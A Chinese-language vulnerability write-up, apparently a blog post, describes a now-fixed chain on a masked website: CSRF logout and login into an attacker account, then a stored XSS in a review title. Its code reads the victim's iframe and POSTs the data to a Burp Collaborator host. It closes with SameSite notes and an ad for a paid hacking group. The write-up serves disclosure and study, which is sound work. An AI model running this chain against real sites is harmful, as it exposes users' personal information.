【漏洞场景】某个功能点可以提交评价,而在帮助中⼼可以删除⾃⼰的评价,此时会显⽰评价的标题
去年挖的洞,现在已经修复了,所以我把这个洞分享出来
我玩了一段时间,但发现无法利用它
于是给好友发了信息,他在XSS⽅⾯是⼀个真正的怪物
他给我发了⼀个模板,大概如下:
<iframe src="https://www.???.com/???" id="first"></iframe>
<iframe src="x" id="second"></iframe>
<script>
setTimeout(logout, 2000); // execute after 3 seconds
function logout() {
document.getElementById("second").src="https://www.???.com/登出功能"; // log user out
// now let's log them in.
setTimeout(login, 1000);
}function login() {
document.getElementById("second").src="https://www.???.com/登录功能"; // log user in with google sso
// now set url to xss
setTimeout(doxss, 1000);
}
function doxss() {
document.getElementById("second").src="https://www.???.com/XSSURLhere";
}
</script>
【整理思路】攻击者拥有第⼀个 iframe,它将加载⽤户会话。这样攻击者就可以将受害者的电⼦邮件读取, 之后,在第⼆个 iframe中,攻击者希望将受害者登录到攻击者的帐户,然后加载攻击者的XSS
【利用方法】使⽤JS执⾏CSRF注销,然后执⾏CSRF登录,然后第⼆个iframe从第⼀个 iframe 中读取受害者的电⼦邮件
下⾯是我的测试流程,先观察⽹站的登录⽅式 发现这个⽹站可以⽤Google OAuth登录,所以我从Burp历史⾥⾯找到这个URL
https://www.???.com/???Controller? flow=GOOGLE_ONETAP&flowOrigin=join&pid=40185&hideNavigation=true&userRequestedForce=true&returnTo=&isLithium=true&locationId
1. 这个URL很重要,记录下来,因为使⽤这个URL会让受害者登录到攻击者的账户
2. 现在测试这个URL是否有⽤,在新的浏览器中,访问刚刚记录的URL,出现⼀个空⽩⻚⾯,忽略这个空⽩⻚⾯,访问https://www.???.com 看到⾃⼰登录了攻击者账户【这⼀步⾮常重要,因为需要登录攻击者账户来执⾏XSS】
3. 以攻击者⾝份登录,输⼊评论,在评论标题输⼊XSS荷载 我的xss荷载是<script src=//{{我的域名}}>
因为这⾥有⻓度限制,{{我的域名}}⻓度需要⼩于等于5个
4. 访问URL, 确认XSS荷载正确插⼊ https://www.???.com/GeneralSupport?参数1=…&参数2=…&参数3=…
5. 确认这些没问题以后,我创建⼀个xss.html⽂件, 放在服务器
<iframe src="https://www.???.com/data/???/member/???" id="first"></iframe> //泄露个人信息url
<iframe src="x" id="second" style="border: 0pt none ; left: 300px; top: 300px; position: absolute; width: 1366px; height: 654px;"></iframe>
<script>
setTimeout(logout, 2000); function logout() {
document.getElementById("second").src="https://www.???.com/登出";
setTimeout(login, 1000);
}
function login() {
document.getElementById("second").src="This is the URL you recorded in the first step";
setTimeout(doxss, 1000);
}
function doxss() {
document.getElementById("second").src="https://www.???.com/GeneralSupport?action=getFormFields&field=level3...";
}
</script>
并写了一个index.php
<?php header("Content-type: application/x-javascript"); ?> 这里要加上
let info = top.frames[0].document.body.innerHTML;
fetch('https://???.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body: info,
});
6.然后访问https://{{我的域名}}/xss.html
7.将在 iframe 1 中 iframe 受害者的帐户 A 详细信息,然后在iframe 2上将受害者注销,然后将受害者登录到已设置 XSS 的攻击者帐户!然后它会将第⼆个iframe的src设置为XSS位置,从⽽执⾏。由于XSS可以访问同源,iframe 2可以读取iframe1,从⽽泄露受害者的信息
关于如何修复的讨论
【来⾃⼚商的回复】
【来⾃好友的回复】
补充:较新版本的 Firefox 现在跟随 SameSite 标志,因此 cookie 不会与 iframed URL ⼀起发送(测试时间几个⽉以前,如果以后⼜改回来了另说)
参考文章:
https://hacks.mozilla.org/2020/08/changes-to-samesite-cookie-behavior/
https://help.salesforce.com/s/articleView?id=000389944&type=1
它在2020年被推送到FireFox Nightly(测试版)
几个月前我测试的时候应该已经 推到了主版本里面;
还有一篇2022年的技术博客:
https://timtech.blog/posts/csrf-samesite-cookie-web-timing-attack/
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
加入安全交流群
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读